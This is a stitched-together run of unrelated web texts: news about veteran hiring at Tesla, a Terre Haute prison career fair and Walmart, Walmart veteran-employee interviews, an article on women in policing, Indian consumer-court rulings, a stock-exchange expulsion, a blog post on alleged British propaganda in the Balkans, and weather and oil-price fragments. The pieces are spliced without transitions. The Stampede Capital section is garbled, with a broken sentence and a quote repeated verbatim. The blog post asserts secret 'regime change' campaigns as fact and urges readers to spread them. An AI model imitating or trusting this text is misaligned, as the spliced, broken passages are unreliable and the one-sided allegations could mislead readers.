Tesla's new veteran hiring initiative includes upcoming recruiting events for veterans, including one on September 29, and ads in veteran-targeted outlets such as Swords to Plowshares and the EDD.

"Hiring veterans is very complementary to Teslas other mission to move the world toward energy security and independence," says Ricketts.

For more information on Tesla and jobs currently available, visit the Tesla website.
TERRE HAUTE -- It's been almost a year since Luke Faulkner returned from military service in Iraq. He's been unemployed since then, looking for a job without success.

But on Monday, Faulkner and more than 60 other veterans in the Wabash Valley took advantage of a career fair hosted by the Federal Correctional Complex in Terre Haute as a way of welcoming America's veterans back to civilian life.

"I thought this was an outstanding chance to see what they are offering," Faulkner said during the career fair, after speaking to federal prison employees. "Just knowing that they are in support of us is important. You hear it, but to see it is great."

The career fair was focused on veterans for specific reasons.

"They know how to operate within an agency. They are professional, and they are in good shape," said Marvin S. Pitt, the prison complex's public information officer. "They have a lot of expertise and training, and that enhances our workforce as well."

The prison complex hosted the career fair with participation from Bureau of Prison facilities in Marion and Greenville, Ill., the National Cemetery Administration, Small Business Administration, the VA Medical Center in Indianapolis and area employment agencies.

The organizational mindset is one of the reasons Faulkner said he is considering employment with the Bureau of Prisons.

He recently concluded eight years of service in the Army National Guard, spending 12 months in Iraq. He was deployed late in the war, the 29-year-old Faulkner said, as the American military withdrawal from Iraq was in the works, so jobs that were available while he was overseas were filling up fast with other veterans.

"The last thing on your mind as a deployed soldier is a job back home," Faulkner said. He figures that about 70 percent of his fellow soldiers were unemployed when they came home, a lot of that because of the economy and company downsizing. A lot of companies could not hold jobs open for the deployed soldiers, he said.

Among those 70 percent that he knew of, at least 30 percent are still unemployed, he said.

"So when you have a facility such as the Bureau of Prisons, that's gonna have growth, it's a benefit, just knowing we are still appreciated," he said.

Another benefit, said veteran Jeff Baize of Terre Haute, is knowing his 13 years of active military duty could count toward federal retirement.

Baize, who just got back from Iraq serving in the Army National Guard, now works as a contractor for FedEx. The organizational structure of the Bureau of Prisons is attractive to a lot of people with military background, he said.

Correctional Officer Kenny Hill, who spoke to Baize during the career fair, said that veterans can bring a lot of skills and professionalism to the prison system, which regularly has job openings through retirements and transfers.

When on a job hunt, one hold-up for many veterans can be educational degrees.

Valerie Byrd, enrollment representative with Indiana Wesleyan University, spoke to several veterans about adult learning programs that allow a student to hold a job while getting a degree at the same time.

"One of the first things they [veteran] ask, if they've been job searching, is if a degree is required," Byrd said. "A lot of them run into that."

Many job applicants who have college degrees have their applications placed on the top of the stack, Byrd said, and that is why many veterans are seeking degrees.

Cindy Tryon of Clinton served six years in the U.S. Navy before leaving the military in 1996. She has since been employed in the banking industry, but at the suggestion of her husband, she attended the career fair to see what opportunities were available to her as a veteran.

Tryon stopped at the VA Medical Center table, where nurse Lydia King explained that the Veterans Administration has a mandate to hire 40 percent veterans.

Many of those coming back from Iraq and Afghanistan as medics are well suited to be nursing assistants and health technicians at VA hospitals. Education and training programs are also available to pay for schooling and salaries of employees while they get advanced degrees.

"We encourage people to go back to school to get advanced degrees, even LPNs (licensed practical nurses) moving up to RNs (registered nurses)," King said.

The prisons' training center also offered a room with several computer stations set up for job seekers to apply online at the career fair.
BELLEVILLE, Ill.  The Walmart Foundation today announced a two-year $750,000 grant to Veterans Green Jobs. With this funding, Veterans Green Jobs will connect with 1,000 veterans through its training and employment initiatives and place many of those veterans into full-time green sector jobs. This is the latest commitment under the Walmart Foundation's recently announced five-year, $20 million giving initiative aimed at combating the high veteran unemployment rate.

The grant was announced during a "Hiring our Heroes" veterans job fair in Belleville, Illinois, one of 100 job fairs Walmart has sponsored through the U.S. Chamber of Commerce. According to the latest data from the U.S. Bureau of Labor Statistics, the unemployment rate for recently returned veterans is 12 percent.

"The idea that our nation's heroes are being forced to transition from the frontlines to the unemployment line is one of the worst realities we can imagine," said retired U.S. Army Brigadier General Gary Profit, senior director of military programs at Walmart. "Through Walmart's support of Veterans Green Jobs, our partnership with the U.S. Chamber of Commerce and other outreach, we're doing our part to ensure our veterans have the support they need and the career opportunities they deserve."

"Walmart is at the forefront of Fortune 500 companies hiring returning veterans and assisting organizations in reversing the high rates of joblessness among our veteran population," said Dr. Mit Parsons, Veterans Green Jobs' co-founder and board chairman, and a U.S. Army veteran. "Veterans Green Jobs is thankful for the partnership we have forged with Walmart in leveraging career opportunities that are focused on environmental sustainability. We share with this strategic partner a commitment to making veteran employment happen with 'boots on the ground' - one veteran at a time."

Since 2009, Walmart has donated more than $1 million to Veterans Green Jobs, resulting in training and jobs for more than 350 veterans.

For more on Walmart's commitment to veterans, please visit: www.walmartstores.com/veterans. For more information on veterans and transitioning military career opportunities, please visit www.walmartcareerswithamission.com.

About Walmart

Wal-Mart Stores, Inc. serves customers and members more than 200 million times per week at over 9,700 retail units under 69 different banners in 28 countries. With fiscal year 2011 sales of $419 billion, Walmart employs 2.1 million associates worldwide. Walmart continues to be a leader in sustainability, corporate philanthropy and employment opportunity. Additional information about Walmart can be found by visiting http://walmartstores.com.

About Veterans Green Jobs

Veterans Green Jobs (VGJ) is a national 501 (c) (3) nonprofit whose mission is to engage, transition and connect military veterans with meaningful employment opportunities that serve our communities and environment. Under a contract with the Colorado Governor's Energy Office, Veterans Green Jobs weatherizes income-qualified homes in Colorado. In partnership with conservation corps and land management agencies, the organization helps veterans get skills and training in outdoor conservation and natural resource management in eight western U.S. states. VGJ is currently creating an outreach, recruitment and placement program that will connect veterans with green industry employers and certified training programs. The nonprofit's Go Green Warehouse is a discount home improvement materials store whose sales proceeds support job and training programs for military veterans. See www.veteransgreenjobs.org for more information.
Coast Guard officer Bernard Beale transitioned to retail upon leaving the military, and is now a store manager for Walmart. In the following interview we get his insights about his experiences, as well as tips for others who are interested in getting into retail.

1. Tell us about yourself. Whats your background?

I grew up in Houston and joined the U.S. Coast Guard in 2002 through the College Student Pre-Commissioning Incentive (CSPI) program. I graduated from Coast Guard Boot Camp that same year. In 2004, I graduated from Embry Riddle Aeronautical University with a bachelors degree in aeronautical science and a minor in aviation safety and meteorology. That year, I also graduated from Officer Candidate School as a Coast Guard commissioned officer in New London, Conn.

Over the years with the Coast Guard, I was stationed in Phoenix, Connecticut, Pensacola, Fla. and finished my career as an Enforcement Division officer at Sector Key West, Fla. In this position, my duties included coordinating law enforcement training for over 400 members, leading the command center responsible for a 55,000 sq nautical mile area, coordinating with multiple federal, state, and local law enforcement. Our missions responded to search and rescue cases, Alien Migrant Interdiction Operations (AMIO), Homeland Security cruise ship escorts, Illegal fishery operations and anti-narcotics operations.

Once I decided to separate, despite the challenging economy in 2008, I had two very good job offers: one from the Motion Picture Association of America to head up their North American anti-piracy operations, and the second was to be a developmental co-manager at Walmart. The decision was very difficult but in the end, Walmart seemed to have a lot more growth potential so I decided to sign up. I am now a store manager for Walmart in Stevenson Ranch, CA.

2. Why did you decide to leave service?

When I tell people my background before Walmart they always ask how did you end up in retail? I decided to leave the Coast Guard after six years of service because, after being stationed in four places during that short time, I wanted to settle into one geographic location. I also got married to my beautiful wife and wanted to establish a better work-life balance. My wife wanted to pursue her acting career full time in Los Angeles and I realized all the experience on my resume from both my education and the Coast Guard could be very competitive in the civilian market. So we moved to Los Angeles where I figured my wife could pursue acting and I would be able to get a job quickly.

3. How did you make the transition? Was it difficult?

I definitely had some nail biting moments because I thought, with my resume and experience, I would be able to get a job fairly quickly. When we moved to L.A., I planned to use the three months of leave that I had saved for my transition to land a job. I figured I would get a job within a month at most, but the day I got my first check from Walmart was the day I got my last check from the Coast Guard. It took me exactly three months to find a job which, in 2008, was actually a miracle. When I look back at it, our country was in the middle of an economic downturn and for job seekers, the future appeared very bleak.

Once I got hired in August 2008 things happened much faster than I couldve ever imagined. My first assignment was as a Developmental Co-Manager at store 3523 in Santa Clarita, CA. After only being there for nine months I received an email to take an assessment for a brand new pilot program called Store Manager Leadership Academy (SMLA). I locked myself in an office and took the assessment.

Some weeks passed and right around the time I had an opportunity to advance out of my developmental role into a full co-manager position, I got an email saying, Congratulations youve been selected to attend Store Manager Leadership Academy! I was immediately excited, but quickly realized that I still didnt know exactly what I was in for. By attending the course, I would have the opportunity to promote to store manager much faster than I would have on my current path. I quickly jumped at the opportunity and began my training. In November 2009, I officially took over the Panorama City Walmart. After one year I was asked to run another store in Stevenson Ranch, CA where am today.

4. What resources did you use in your job search?

I used all the major online job search sites: TheLadders.com, USAjobs.com, LinkedIn.com  every one of them. I managed to line up some interviews from these resources, but none of the salaries were comparable to the salary I was making with the Coast Guard. The challenges that job hunters have today are so much more complicated than just 10 years ago. The internet has transformed the process into a virtual "cattle call," whereas before you were, for the most part, competing with local applicants, now you are competing with everyone that has access to the internet across the world, so you have to find a way to separate yourself.

My competitive job offers came two ways; the Motion Picture Association of America job developed from networking with people and sending out my resume a couple of months before I was leaving the service. The other job offer from Walmart developed from using the military-to-civilian headhunter organization, Orion International. They proved to yield the best results in setting up six high quality interviews, and one of them happened to be Walmart.

5. What do I need to emphasize about my current service to those on the outside?

When you are looking to transition, it is important that you quantify your military job function and translate that into a tangible job skill in the corporate world. If you can effectively do this, an employer can easily see you as a valuable asset to his or her business. For an example, in my case with the USCG, I was responsible for the law enforcement training and qualification of over 300 service members. My job as a Walmart store manager requires me to lead and train 300-500 associates in various aspects of retail. Although those two jobs are very different I still had experience with the military that was directly transferable to retail. I was then able to make this connection on both my resume and later in my interview that helped make me a strong candidate, even though I had no retail experience. It also helped that Walmart is very military friendly.

6. If you had to tell someone one thing about transitioning, what would your advice be?

Speaking as a military veteran, I know how important it is to never to go into a situation without a plan. A transition out of military service is a difficult decision to make, so mapping out your plan carefully is crucial. Make sure you are savvy with the current job market you are entering so you can adjust your transition strategy accordingly. Don't let anyone discourage you by telling you that you are making the wrong decision. The military gives us vital tools that are valuable in any job market; use those tools to your advantage.

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Quick Facts- Walmart and the Veteran and Military Communities:
John Eves is an Air Force and Army National Guard veteran who now has a management position at Walmart. He recounts his transition experiences and offers tips for veterans in the job market below.

1. Tell me about yourself. Whats your background?

I enlisted in the Air Force as a security policeman, where I worked for about six years. During that time, I earned an associate degree in criminal justice. After separation, I joined the Virginia Army National Guard, where I attended OCS and was commissioned a 2LT. Ive also earned a Bachelor of Science degree in political science from James Madison University.

Being hired by Walmart led to an 18-year  and counting  career that afforded both me and my family the opportunity to live in four states and three countries. Ive worked in operations in the stores, in loss prevention both in the U.S. and overseas, and am currently working in international information systems where my team looks at how to best integrate a new companys systems to Walmarts.

Over the years, Walmart has supported my continued military service through weekend duty, annual training, military schooling and a deployment to Iraq and Qatar. Most recently, I was able to complete my MBA through Webster University, near the Walmart home office. I received a reduced cost because classes were held at a Walmart facility and I also got credit for some of my military education.

After 25 years of combined service, I retired as a major from the Army Reserve. The military was a great experience for me.

2. Why did you decide to leave service?

Having enlisted right out of high school, I reached a point where I wanted to understand the world outside the military.

3. How did you make the transition? Was it difficult?

The transition was not easy, but then, most transitions are challenging by nature. I used the transition services provided by the military, but they were not much at the time. After about a month, I joined the National Guard. This helped me with my transition and eventually evolved into a second career in addition to my Walmart career. One of the hardest lessons I had to learn was how to leverage the leadership skills I learned in the military, but to not speak like I was still in the military. The military has a way of speaking that is suited for the environment, and the civilian world has a way of speaking that is suited for the workplace. It took work, but I developed the ability to change my way of speaking.

4. What resources did you use in your job search?

University job fairs are great opportunities to meet many potential employers and show them what you have to offer. During a fair I attended, I spoke with a Walmart representative and was offered an interview, at first I decided it would be a good opportunity to gain interview experience if nothing else, but in the end, I liked what I heard about opportunities and pay. I accepted a position in the Management Training Program at store #1726 in Harrisonburg, Va., and have been working at Walmart ever since. It all started with that job fair and I am still learning and growing with Walmart.

5. What should someone emphasize about his or her current service when transitioning to civilian employment?

Understand how your military experiences translate into civilian skills. It is not enough to simply state that you had a security clearance or that you led a platoon. It is the fact that you have proven integrity and the ability to make solid decisions while representing you and your employer well to customers that can set you apart. It is the fact that you have proven leadership, delegation, analysis and planning skills exemplified through the success of your 30-person team-- all things to stress the right way.

6. If you had to tell someone one thing about transitioning, what would your advice be?

Find a mentor in the business community willing to help guide you in your endeavors.

Quick Facts- Walmart and the Veteran and Military Communities:
Michelle Caraballo is an Army veteran with an MBA who ran a Chicago-area Walmart store after transitioning to the company and has been promoted to Director for Store Process in the Global Business Process, with an emphasis on Walmart's operations in China. We caught up with Michelle to ask her about her transition experiences, and provide some tips.

Tell us about yourself. What's your background?

I was born in Wurzburg, Germany to two Army officers and grew up in the Chicagoland area. After graduating high school, I attended the University of Wisconsin-Madison. I was a Coxswain on the Lightweight Women's Crew Team for the first two years before joining the Simultaneous Membership Program (SMP) with Army ROTC and the Wisconsin National Guard. After graduating in 2005 with a BA in Philosophy, I went onto Active Duty as an Ordnance officer. I was stationed with 4th Infantry Brigade Combat Team, 1st Infantry Division out of Fort Riley, KS where I served in various positions within 610th Brigade Support Battalion.

In February 2007, I was deployed to FOB Falcon, Baghdad Iraq where I served a 14-month tour as the Maintenance Control Officer, while attaining my MBA, before returning to the states and ETS-ing as a Captain in December of 2008.

Why did you decide to leave service?

I joined the Army in order to challenge my leadership abilities in the most extreme environment possible. I knew this would give me the experience I needed to succeed in corporate America. I decided to leave the Army because I felt I was ready for a different challenge in the civilian sector as well as maintain some stability in my life as far as deployments.

Michelle Caraballo with Army Gen. Ann Dunwoody.

How did you make the transition? Was it difficult?

Honestly, the transition at first was incredibly difficult for many reasons. I felt as if I was no longer part of something that was special to me for almost 6 years. I had formed strong relationships with my fellow Soldiers from the deployment as well as ROTC and other assignments. When I separated, I lost the sense of camaraderie with those relationships as well as the basic drill and ceremony of the military that gave me a sense of pride. Although I had purposely attained my MBA in order to understand corporate America upon my transition, the language of the civilian sector took some getting used to. I had to learn areas that previously I had never dealt with such as associate wages, benefits, and budgets. Additionally, the language or terms used were different than the military but I was able to compare to military terms in order to help the adjustment.

What resources did you use in your search?

I used four resources in order to prepare for my transition;

Orion International and Bradley-Morris. These are two military job placement services that specialize in aligning your service in the military with corporate America. They work with companies in order to highlight your strengths and how military can add value to a company.

On post transition office. This office can answer many questions and help with resume writing and interviewing techniques.

Internet. There are several internet sites that can be found on basic search engines to answer any questions that might arise.

VA Office. During and after my transition, the VA aided in various ways, from medical, to educational to housing.

What do I need to emphasize about my current service to those on the outside?

There are three things that I would make sure to emphasize:

Leadership. The military clearly strengthens and challenges your leadership ability to an extreme level. This is something that cannot be taught the same way in corporate America and it is a valuable asset to any organization.

Responsibility. Whether you are a transitioning officer or enlisted, the military gives a lot of responsibility that cannot be compared. I was a brand new 2LT at the age of 22 when I was given the responsibility for over 50 Soldiers and $5M worth of equipment.

Adaptability. If the military is known for one thing, it is an ever changing environment. It challenges the leadership to be flexible with changing demands and shifting priorities while ensuring that the mission gets completed.

If you had to tell someone one thing about transitioning, what would your advice be?

Do your homework! There are several resources -- whether on post at the transition office, the VA or online -- to help the process, whether you want to go back to school, are looking for a job etc. In several instances there may even be benefits you qualify for. Remember this process might be frustrating because of all the changes, but ask as many questions as possible and remember that it is normal to be nervous about the future.

Quick Facts  Walmart and the Veteran and Military Communities:
The percentage of women in law enforcement is hovering under 15 percent, according to the National Center for Women & Policing, and it's not increasing. Here's straight talk from current and former female police officers as to why we'd all be better off if that percentage rose, what's been holding the numbers down and which women are needed to fill the gap.

Why More Female Officers Benefit Everyone

Research and history have disproved the notion that women aren't suited for law enforcement. National Center for Women & Policing data shows female police officers traditionally employ a style of conflict resolution that puts communication before physical confrontation -- a notable finding as law enforcement agencies come under fire for excessive force.

Related: Search for Law Enforcement jobs.

Female officers also reduce the risk of accusations of impropriety by their male coworkers when they search female suspects and prisoners, according to a study by the National Center for Women & Policing.

In a similar vein, female officers are particularly effective in situations involving other women. Susan Cormier, a veteran patrolwoman for the Pawtucket Police Department in Rhode Island, is regularly called outside her district on cases of sexual assault or child molestation, "because people open up more to the sensitivity of a female officer," she says.

The Perception Problem

Although women in law enforcement must meet the same physical, academic and psychological standards as men, stereotyped expectations of behavior still exist. "No matter how often a woman proves herself in the job, she's got to do it over and over again," says Diane Skoog, executive director of the National Association of Women Law Enforcement Executives (NAWLEE) and former chief of police for the Carver Police Department in Massachusetts. "Once a guy does it, he's set."

Although Cormier has never experienced discrimination within her department, people have asked her if she's scared or assumed she's inexperienced. The best reassurance is to look professional and act with authority, she says.

Related: Does your resume pass the 6-second test? Get a FREE assessment.

Where Are the Women?

According to The Police Chief Magazine, part of the problem law enforcement has in attracting women may have to do with simple marketing strategy. There's evidence targeted recruitment efforts, such as specific Web pages and female officers at job fairs, goes a long way toward increasing the number of women officers.

Early education may also help. Cormier participated in a cadet program in her teens, and even though the program was affiliated with the Boy Scouts, she remembers an even mix of boys and girls. Now Cormier speaks at schools, camps and youth guidance programs.

Skoog says that women often leave law enforcement or stay in comfortable positions to satisfy family responsibilities. The 2000 US Department of Justice Bulletin Recruiting and Retaining Women: A Self-Assessment Guide for Law Enforcement advises setting a comprehensive policy for pregnancy and childcare to retain female officers that should cover such subjects as eligibility for and duration of pregnancy and childcare leave, light duty and disability insurance benefits.

Do You Fit the Profile?

Skoog's perfect candidate for law enforcement has "a unique personality. You're given a lot of power over others' lives." She recommends someone well-rounded and educated, with an "even" personality and an ego in check.

The rewards of law enforcement should resonate with you. Cormier thrives on the diversity of challenges that have been set before her, including SWAT, bike patrol and training new officers. She enjoys being engaged in her community and the chance to help others.

Related: To apply for jobs that match your skills, visit the Military Skills Translator.

"There are so many agencies that are looking for women," says Skoog. Along with the benefits women bring to law enforcement, parity clauses in town charters, grant restrictions that demand a certain percentage of women in an agency to qualify and a basic need for more applicants of either gender have opened this profession. "This is the field for women today," Skoog says.

If law enforcement sounds right for you, here's how to explore your career options:

Consider your interests within the broad range of law enforcement opportunities. Departments to think about include police, sheriff, corrections, federal, university, parks and wildlife. Concentrations within these include homeland security, drug enforcement, K9, detective, community policing and probation.

Investigate opportunities to observe an officer at work, such as a ride-along program.

Learn what will be expected of you physically, emotionally and mentally.

See if there are support programs to help you through exams and training.

Find local and national networking opportunities. Cormier regularly meets with women from all fields of law enforcement. NAWLEE matches women at all levels of law enforcement with a mentor to guide them professionally.

Interested in becoming a cop? Visit PoliceLink, your connection to the entire law enforcement community.

Related: For the latest veteran jobs postings around the country, including jobs related to law enforcement, visit the Military.com Job Search section.

The Next Step: Find the Right Veteran Job

Whether you want to polish up your resume, find veteran job fairs in your area, or connect with employers looking to hire veterans, Military.com can help. Sign up for a free Military.com membership to have job postings, guides and advice, and more delivered directly to your inbox.
An Ahmedabad-based consumer court has ordered a multi-brand clothing retailer Brand Factory to pay Rs1,500 as compensation to a customer for charging him Rs10 for a carry bag.

The Consumer Disputes Redressal Commission (Ahmedabad rural) also asked the retailer (Brand Factory) to refund the Rs10 charged on the carry bag to the complainant Maulin Pankaj Fadia along with 8% interest.

The commission passed its order on 29th June. The order signed by JJ Pandya partially allowed Mr Fadia's plea and ordered the retailer to pay Rs1000 for mental harassment and Rs500 towards legal costs.

In 2019, Mr Fadia bought items worth Rs2,486 from a store of a national-wide retail brand, but was shocked to find that he was charged Rs10 for the bag. On the bag, information about different outlets of the brand was printed.

Mr Fadia felt that he was wrongly charged for the paper bag and hence approached the consumer forum seeking its direction to the retailer to pay him Rs25,000 for mental harassment and another Rs25,000 to be deposited to the consumer welfare fund.

The retailer contended that consumers are not forced to buy carry bags, which are chargeable, and informed that there is a notice placed at cash counters to this effect.

However, HP Motiramani, Mr Fadia's lawyer denied this and said the notice was not there when the purchase was made, and might have been placed later.
While dismissing an appeal filed by Mumbai-based PD Hinduja National Hospital, the National Consumer Disputes Redressal Commission (NCDRC) has asked the hospital to pay Rs3.51 lakh to a patient. Hinduja Hospital had filed an appeal against an order passed by Maharashtra state consumer disputes redressal commission. Earlier, dismissing Hinduja Hospitals appeal, the state commission had imposed a cost of Rs25,000 on it while modifying the order of district consumer forum for paying Rs3.51 lakh to the patient.

The order issued last week says, Patient safety aims to prevent and reduce risks, errors and harm that occur to patients. The Deny and Defend approach of the hospital or doctor had a significant impact on patient safety. Unfortunately, when hospital staff and administrators do not keep their hospitals well organised or the supporting staffs make careless mistakes, innocent lives could be at risk. When protecting the institution is the primary goal, poor practices are excused and justified, and patients remained at risk of injuries.

The matter relates to 9 October 2012, when the patient Harsha Ashok Lala visited to Hinduja Hospital for a follow-up after her spinal surgery in the last week of September 2012.

It was alleged she was very rashly and negligently wheeled from hospital corridor, on the ramp by an unidentified security guard without putting the seat belt, as a result of which she suffered head on fall from the wheelchair and sustained fracture of left (ankle) lower end fibula tip. She further alleged that immediate first aid was not given, and she was made to stand in queue for payment of X-ray charges, which caused further pain and agony.

It was further alleged that the incident was reported immediately to the hospital authorities but to no avail. According to the complainant, the hospital wilfully avoided informing the police about such a serious accident in their premises. The complainant also added that it was gross negligence and deficiency in service from the support staff at the hospital.

Being aggrieved by the negligent care and conduct of the opposite party, Ms Lala filed consumer complaint before the Mumbai district consumer forum and claimed a compensation of Rs16 lakh. She also filed a criminal complaint and first information report (FIR) with the concerned police station.

Hinduja Hospital filed its written submission before the district forum, stating that the complainant was an old patient of their hospital. The hospital admitted the fall of the patient from the wheelchair on 9 October 2012. In their written submission, the hospital said The junior doctor attended her immediately and a provisional diagnosis was mentioned as undisplaced fracture of lower end of left tibia. The treating doctor, Dr Sanjay Agarwal, examined her and ruled out any fracture or any dislocation of the left ankle joint and mentioned, it was only swelling around the ankle joint.

A sugar tong splint was given which was to be removed after 5 days and Air Cast splint was advised to be worn after 5 days. The patient was treated as per standards. Therefore, the complainant was not entitled for any compensation and/or refund of previous treatment expenditure. The hospital added in its written statement that the complainants claim was imaginary and highly exaggerated, P.D. Hinduja Hospital added .

On 30 November 2015, the district forum partly allowed the complaint and directed the hospital to pay Rs1 lakh as compensation and Rs10,000 towards the cost of legal proceedings to Ms Lala.

Aggrieved with this order, Hinduja Hospital approached the state commission. On 28 November 2019, the Maharashtra state commission dismissed the appeal with costs of Rs25,000 on the Hospital with modification of the order of district forum that the hospital should pay Rs3.51 lakh to Ms Lala within one month from the date of the order failing which, the amount was to carry interest at the rate of 9% per annum.

However, Hinduja Hospital then approached the national commission --NCDRC. Ms Lala, the respondent complainant argued the matter in person.

Dr SM Kantikar, presiding member of the NCDRC, after hearing the arguments from both the sides, was of the view that the state commission has recorded the concurrent finding of fact and passed a well-appraised reasoned order.

The revisional powers of the National Commission are derived from Section 21 (b) of the Act, and have been discussed by the Supreme Court in Rubi (Chandra) Dutta Vs. United India Insurance Co. Ltd.  (2011) 11 SCC 269 and Lourdes Society Snehanjali Girls Hostel and Ors. Vs. H & R Johnson (India) Ltd. and others, (2016) 8 Supreme Court Cases 286.

The Supreme Court laid down the ingredients of medical negligence in its various judgments, none of which are found in the instant case. In my view, prima facie, this case does not fall strictly in medical negligence, the NCDRC held.

The NCDRC presiding member noted that wheelchairs are usually thought of as a medical device that is meant to help those who are injured or have physical challenges; they can also be a source of injury when not properly used. Most wheelchair injuries that happen in a medical setting due to the negligence of medical staff and as such can be easily prevented by the hospital or nursing home.

The commission also expressed caution that the hospital authority should make systemic improvement in their administration and their grievance redressal mechanism to ensure the patients safety and to maintain good doctor-patient relationship.

In the instant case, having regard to the fact that the patient underwent mental agony and physical trauma and the quantum of award made by the State Commission appears just and equitable in the facts of the case. No palpable crucial error in appreciating the evidence by the two fora below, as may cause to require de novo re-appreciation in revision, is visible. No jurisdictional error, or legal principle ignored, or miscarriage of justice, is visible. Nothing warrants interference with the impugned order of the state commission in the exercise of the revisional jurisdiction of this commission. Based on the forgoing discussion, the revision petition is dismissed, the NCDRC order concluded.
The National Stock Exchange (NSE) has expelled one more brokerage, namely, Stampede Capital Ltd, which is a listed entity. A senior official from NSE has confirmed this.

In a notification, NSE says, "All members are hereby informed that the following trading member has been expelled from the membership of the Exchange under Rules 1 and 2 of Chapter IV of the NSEIL Rules from 14 July 2021 before market hours."

NSE also disqualified 140 authorised persons associated with Stampede Capital from holding the office of a director or partner in a company or firm. This includes Parameshwar Botla, Jonna Venkata Tirupati Rao, Shaik Haseena, Naveen Parashar, Srinivas Maya and Anil Thakur, all directors of the brokerage.

According to the company shareholding as of 31 March 2021, Jonna Venkata Tirupati Rao and Gayi Adi Management and Trends Pvt Ltd are majority shareholders from the promoter and promoter group with a stake of 0.17% and 42.62%, respectively, in the brokerage.

While the promoter and promoter group hold a 42.79% stake in Stampede Capital, about 8,492 public shareholders, including 8,200 individuals, hold the rest 57.21% stake.

Stampede Capital, promoted by technocrat Meenvalli Venkat Srinivas, caught attention from many big shots, including the Big-B of Bollywood, Amitabh Bachchan himself. In fact, in May 2014, Mr Bachchan picked up 1.1 lakh shares of the brokerage Stampede Capital for an estimated Rs1.21 crore through the open market.

report from the Hindu BusinessLine , "the shares were purchased at an average price of Rs109.92, valuing the transaction at Rs1.21 crore. Shares of Stampede Capital have shot up more than 30% within a month." According to a, "the shares were purchased at an average price of Rs109.92, valuing the transaction at Rs1.21 crore. Shares of Stampede Capital have shot up more than 30% within a month."

. The post says, "Amitabh Bachchan, the doyen of Bollywood, appears to have developed a special liking for Venkata Srinivas Meenavalli, the technocrat  promoter of two companies called Stampede Capital and Ziddu.com (Meridian Tech Pte Ltd). While Stampede is an Indian company, Ziddu/ Meridian is a Singapore-based company. Amitabh Bachchan has invested large sums of money in both companies. Amitabh holds 779,609 shares in Stampede Capital as of 30 June 2015. This constitutes 3.42% of Stampedes total capital." However, an August 2015 blog post from rakesh-jhunjhunwala.in terms Mr Bachchan's investment in Stampede Capital as 'Big B Burns Fingers In Quest For Mega Bucks From Dubious Micro-Cap' The post says, "Amitabh Bachchan, the doyen of Bollywood, appears to have developed a special liking for Venkata Srinivas Meenavalli, the technocrat  promoter of two companies called Stampede Capital and Ziddu.com (Meridian Tech Pte Ltd). While Stampede is an Indian company, Ziddu/ Meridian is a Singapore-based company. Amitabh Bachchan has invested large sums of money in both companies. Amitabh holds 779,609 shares in Stampede Capital as of 30 June 2015. This constitutes 3.42% of Stampedes total capital."

"The stock touched an all-time high of Rs800 on 06.08.2015. Since then, it has been on a freefall and is breaching successive lower circuits. At the CMP of Rs. 366, there is a loss of more than 50% in just a couple of weeks. Fortunately, Big B is still in the green because his purchase price ranges from Rs84 to Rs127. However, if he is spotted anywhere close to Dalal Street seeking to peddle off his holding in Stampede Capital, the sky will fall on the Company! So, we have to watch and see which way the investments in Stampede and Ziddu turn out for Amitabh Bachchan," the post says.

According to data from BSE, till the September 2020 quarter, Mr Bachchan held a 1.26% stake in Stampede Capital. However, he may have either cut down his stake or sold it out as his name does not figure in the list of public shareholders with share capital in excess of Rs2 lakh during the December 2020 quarter shareholding report.



As of the March 2016 quarter, the Superstar held 74.62 lakh shares or a 3.27% stake in the brokerage. However, over the next few quarters, he started cutting down his stake to 1.26% till March 2018. From that quarter onwards, his stake remained the same till September 2020 quarter, the data from BSE shows.

Last week, Meenvalli Venkat Srinivas and Meenavalli Usha Rani, both promoters of Stampede Capital, had requested reclassifying their shareholding from the promoter and promoter group category to the public category.

Trading in Stamped Capital is restricted on BSE as it is at stage 4 under graded surveillance measure (GSM). On NSE, Stamped Capital is trading in LT-ASM-STAGE I category. At 13.00 hours it was trading 3.92% down at Rs2.45 on NSE, while the benchmark Nifty was marginally higher at 15,864.80 points.

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July 14, 2021

A Secret British 'Strategic Communication' Campaign Aims To Fracture The Balkans

In late 2018 we learned about the secret British government campaign to smear Russia. The campaign was run by the 'Integrity Initiative' - A Military Intelligence Operation, Disguised As Charity, To Create The "Russian Threat".

A year later the release of a number of British documents revealed systematic 'Strategic Communication' propaganda campaigns against Syria and in Iraq run by contractors who were working for the UK Foreign, Commonwealth & Development Office (FCDO).

A similar campaign, run by the same companies, created 'regime change' protests in Lebanon. This included infiltrating Lebanon's military intelligence as well as indoctrination of young Palestinian refugees. The recent campaign to regime change Belarus was likewise secretly supported by British government contractors. It is thus not astonishing to learn that the British government is running similar secret influence campaign in other regions of the world.

The release of a new batch of documents show that one of those campaigns has the aim of fracturing the Balkans.

An extensive narrative around those documents is available in three parts. All relevant documents - solicitations, company offers, contracts etc. - can be downloaded here.

After describing the secret British manipulation campaigns in detail the author(s) conclude:

The documents we have published reveal a large-scale neocolonial HMG operation in the region. The British employ various methods to achieve their goals: they support friendly regimes at the same time undermining those regimes they consider hostile. They strengthen or weaken governments as they deem necessary. And everything is done as part of a global plan. However the essence of the operations has not changed. They are still HMG Trojan Horses. We believe the people have the right to know both the perpetrators and their accomplices (local politicians or organisations).

I agree with that. But as I am not well versed in the Balkans, and have few readers from there, I will study the documents and leave it at that.

If you have contacts in the area please make sure that they learn about the British campaign.

Posted by b on July 14, 2021 at 15:57 UTC | Permalink

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Lorain

Escaped inmate turns self in

One escaped Lorain County inmate turns self in; other still at large
Lorain native daughters and sons were honored for notable achievements in the city and aroun
Moultrie, GA (31768)

Today

Scattered thunderstorms in the morning, then mainly cloudy during the afternoon with thunderstorms likely. High 87F. Winds light and variable. Chance of rain 90%..

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(Bloomberg) -- Oil rose to the highest price in more than 2 1/2 years as prospects of an imminent flood of crude exports from Iran and other major producers waned while the International Energy Agency warned of a deepening supply crunch.

Futures in New York advanced 1.6% to close at $75.25 a barrel on Tuesday, the highest settlement since October 2018. Crude supplies are set to tighten significantly amid a deadlock among members of the OPEC+ alliance, the IEA said in a report. Meanwhile, a stalemate over whether to revive the Iranian nuclear deal has reduced the threat of a deluge of the nations crude onto global markets.

The supply-deficit story is reasserting as the primary driver, said Ed Moya, senior market analyst at Oanda Corp.

Oil prices have surged more than 50% this year as vaccination rollouts accelerated the reopening of economies, boosting fuel consumption. OPEC and allied crude producers have supported prices by taking a gradual approach to resurrecting shuttered supplies.

The oil consortium has been deadlocked on increasing production as the dispute between the United Arab Emirates and Saudi Arabia persists. Both countries have locked in stable crude output for next month.

